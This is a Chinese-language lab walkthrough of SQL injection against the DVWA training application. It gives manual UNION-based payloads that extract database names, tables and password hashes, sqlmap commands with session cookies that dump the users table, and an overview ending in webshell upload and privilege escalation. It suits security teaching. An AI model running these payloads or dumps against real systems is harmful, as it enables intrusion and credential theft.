SQL注入常规利用思路：

1、寻找注入点，可以通过web扫描工具实现 2、通过注入点，尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。 3、猜解关键数据库表及其重要字段与内容（常见如存放管理员账户的表名、字段名等信息） 4、可以通过获得的用户信息，寻找后台登录。 5、利用后台或了解的进一步信息，上传webshell或向数据库写入一句话木马，以进一步提权，直到拿到服务器权限。

手工注入常规思路：

1.判断是否存在注入，注入是字符型还是数字型2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.查询到账户的数据

**任务一：实现SQL手工注入攻击（有回显）**

1. 简单ID查询的正常功能体验：输入正确的User ID（例如1，2，3...），点击Submit，将显示ID First name，Surname信息。

如果User ID输入的数值超出数据库里的内容，将显示无相应的数据。

1. 遍历数据库表，输入：1' or' 1' =' 1，遍历出了数据库中所有内容。
2. 获取数据库名称、账户名、版本及操作系统信息。通过使用user()，database()，version()三个内置函数得到连接数据库的账户名、数据库名称、数据库版本信息。通过注入1' and 1=2 union select user(),database() -- (注意--后有空格)。

得到数据库用户为root@localhost及数据库名dvwa

1. 猜测表名，注入：

1' union select 1,group\_concat(table\_name) from information\_schema.tables where table\_schema =database()#

得到表名为：guestbook,users

注：union查询结合了两个select查询结果，根据上面的order by语句我们知道查询包含两列，为了能够现实两列查询结果，我们需要用union查询结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。

1. 猜列名，注入：

1' union select 1,group\_concat(column\_name) from information\_schema.columns where table\_name ='users'#

得到列：user\_id, first\_name, last\_name, user, password, avatar, last\_login, failed\_login, id, username,password

1. 猜用户密码，注入：

1' union select null,concat\_ws(char(32,58,32),user,password) from users #

得到用户信息，例如admin数据，下面的字符串是哈希值

admin 5f4dcc3b5aa765d61d8327deb882cf99

char(32)代表一个空格" "，char(58)代表一个冒号":"

**任务二：使用SQLMap实现SQL自动注入**

1. 安装SQLMap工具。只需要将下载的SQLmap解压，在SQLMap目录里面，使用python sqlmap.py执行即可
2. 在DVWA中找到SQL注入点的URL
3. 在SQLMap目录下，使用如下命令，观察结果

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id =1&submit=sublit#"

IP地址127.0.0.1替换为你的DVWA地址（后面同样处理）

1. 会发现有一个302跳转，跳转到的是登录页面，所以这个时候需要使用cookie进行会话维持， 可以使用Cookie Editor、Burpsuite、F12查看浏览器等多种方法查到当前会话的Cookie
2. 重新使用SQLMap尝试以下命令，接下来系统会有一些提示选择yes或no，一般选择默认值即可（大写的那个是默认的），系统发现参数‘id’是可以注入的，如图所示

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=f2m0g60je1gp3c0eh3o515util"

1. 然后进行数据库查询处理：python sqlmap.py -u "http://127.0.0.1/dvwa/ vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID= f2m0g60je1gp3c0eh3o515util " –dbs
2. 列出数据库表：

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities /sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID= f2m0g60je1gp3c0eh3o515util " --tables –D dvwa

   -D选项是选择数据库为dvwa

1. 列出users表的所有字段,–columns -T “users”<列出mysql数据库中的user表的所有字段> （columns参数前带空格）

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities /sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID= f2m0g60je1gp3c0eh3o515util " --columns –T “users”

1. 使用--dump 把user表中的数据全部拖下来。下载过程中可以单独存为文件，也可以使用SQLMap自带功能对Hash表进行破解。找到SQLMap保存下来的文件，并打开查看

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities /sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID= f2m0g60je1gp3c0eh3o515util " –T “users” –dump

**任务三：完成DVWA中SQL注入攻击通关过程（课后选做内容）**

High级别的查询提交页面与查询结果显示页面不是同一个，也没有执行302跳转，这样做的目的是为了防止常规的sqlmap扫描注入测试，因为sqlmap在注入过程中，无法在查询提交页面上获取查询的结果，没有了反馈，也就没办法进一步注入；但是并不代表High级别不能用sqlmap进行注入测试，此时需要利用其非常规的命令联合操作，如：–second-order=“xxxurl”（设置二阶响应的结果显示页面的url）

Python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=omk12q5t1kscfros68f93h1g9i" –T “users” –dump

查询网站为http://dvwa/vulnerabilities/sqli/session-input.php  
回显网站为http://dvwa/vulnerabilities/sqli/